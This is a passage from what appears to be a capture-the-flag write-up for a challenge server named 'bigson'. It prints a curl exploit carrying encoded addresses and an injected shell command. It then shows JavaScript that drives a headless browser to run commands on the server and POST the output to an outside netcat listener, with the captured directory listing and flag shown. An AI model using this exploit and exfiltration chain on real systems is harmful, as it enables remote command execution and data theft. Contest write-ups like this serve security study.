curl "127.0.0.1:81/index?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00&%2E%8E%21%F7%FF%7F%00%00%80%8F%25%F7%FF%7F%00%00%60%F3%32%F7%FF%7F%00%00%65%63%68%6F%20%2D%65%6E%20%22%48%54%54%50%2F%31%2E%31%20%32%30%30%20%4F%4B%0D%0A%43%6F%6E%74%65%6E%74%2D%54%79%70%65%3A%20%74%65%78%74%2F%68%74%6D%6C%0D%0A%43%6F%6E%74%65%6E%74%2D%4C%65%6E%67%74%68%3A%20%31%30%30%0D%0A%0D%0A%20%60%64%61%74%65%60%20%22%20%3E%26%31%30%20%3B%20%65%78%69%74%3B=TESTINGVALUE"
curl: (18) transfer closed with 69 bytes remaining to read
Mon Apr 21 14:02:09 EEST 2014
== Remote exploitation ==
First I tested the exploit using **sleep** as before and everything worked ok. However, trying to write on the socket always produced an error in the XMLHttpRequest that I haven't gotten round to fixing.
Fortunately, I came up with another idea to get the data out from there: since we can run any commands why not write into **/tmp/** the output of commands and then grab the contents using the "normal" behaviour of the bigson server?
We tweak the javascript payload into the following:
function do_requests(file_path, payload) {
var response = '';
var geturl = "";
if (file_path != '') {
geturl = "http://bigson.essolutions.largestctf.com/index?file=" + file_path;
};
if (payload != '') {
var base = "http://bigson.essolutions.largestctf.com/index?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=";
geturl = base + payload;
};
$.ajax({ type: "GET",
url: geturl,
async: false,
beforeSend : function (xhr) {
xhr.overrideMimeType( "application/octet-stream; charset=x-user-defined" );
},
success : function(data, textStatus, jqXHR)
{
response += jqXHR.responseText;
},
error: function(jqXHR, textStatus, ex) {
response += "GET request error response:\n" + textStatus + "\n" + ex + "\n" + jqXHR.responseText + jqXHR.getAllResponseHeaders() + jqXHR.statusCode();
}
});
if (file_path != '') {
$.ajax({ type: "POST",
url: "http://swarm.cs.pub.ro:42424",
async: false,
data: "POST request made. Response was:\n" + response,
success : function(text)
{
}
});
};
}
function requests() {
do_requests("", "%B7%4D%61%7A%8B%7F%00%00%B7%4D%61%7A%8B%7F%00%00%B7%4D%61%7A%8B%7F%00%00%B7%4D%61%7A%8B%7F%00%00%B7%4D%61%7A%8B%7F%00%00%B7%4D%61%7A%8B%7F%00%00%B7%4D%61%7A%8B%7F%00%00%B7%4D%61%7A%8B%7F%00%00%B7%4D%61%7A%8B%7F%00%00%B7%4D%61%7A%8B%7F%00%00&%8A%BB%5E%7A%8B%7F%00%00%80%9F%62%7A%8B%7F%00%00%A0%F5%6E%7A%8B%7F%00%00%20%6C%73%20%2D%61%6C%20%2F%68%6F%6D%65%2F%62%69%67%73%6F%6E%20%3E%20%2F%74%6D%70%2F%73%75%70%65%72%5F%73%65%63%72%65%74%5F%6E%61%6D%65%7A%3B%20%65%78%69%74%3B=TESTINGVALUE");
do_requests("/tmp/super_secret_namez","");
}
var script = document.createElement("SCRIPT");
script.src = 'http://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js';
script.type = 'text/javascript';
document.getElementsByTagName("head")[0].appendChild(script);
script.onload = requests;
And set the payload to:
cmd += quote_string( struct.pack(" /tmp/super_secret_namez; exit;""")
This is the result:
rcaragea@swarm:~$ nc -lvp 42424
listening on [any] 42424 ...
connect to [141.85.227.118] from ec2-54-86-24-189.compute-1.amazonaws.com [54.86.24.189] 37136
POST / HTTP/1.1
Origin: http://portal.essolutions.largestctf.com
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.7 Safari/534.34
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Referer: http://portal.essolutions.largestctf.com/login.php
Content-Length: 338
Connection: Keep-Alive
Accept-Encoding: gzip
Accept-Language: en-US,*
Host: swarm.cs.pub.ro:42424
POST request made. Response was:
total 108
drwxr-xr-x 2 root root 4096 Apr 13 16:39 .
drwxr-xr-x 4 root root 4096 Apr 12 22:44 ..
-rwxr-xr-x 1 root root 94113 Apr 13 02:16 bigson
-rw-r--r-- 1 root root 231 Apr 13 16:22 index.html
-r--r----- 1 root bigson 30 Apr 12 22:49 really_weirdly_named_key_haha
And cat on the file to receive:
rcaragea@swarm:~$ nc -lvp 42424
listening on [any] 42424 ...
connect to [141.85.227.118] from ec2-54-86-24-189.compute-1.amazonaws.com [54.86.24.189] 37160
POST / HTTP/1.1
Origin: http://portal.essolutions.largestctf.com
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.7 Safari/534.34
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Referer: http://portal.essolutions.largestctf.com/login.php
Content-Length: 63
Connection: Keep-Alive
Accept-Encoding: gzip
Accept-Language: en-US,*
Host: swarm.cs.pub.ro:42424
POST request made. Response was:
WEB_you_hacked_the_bigson_WEB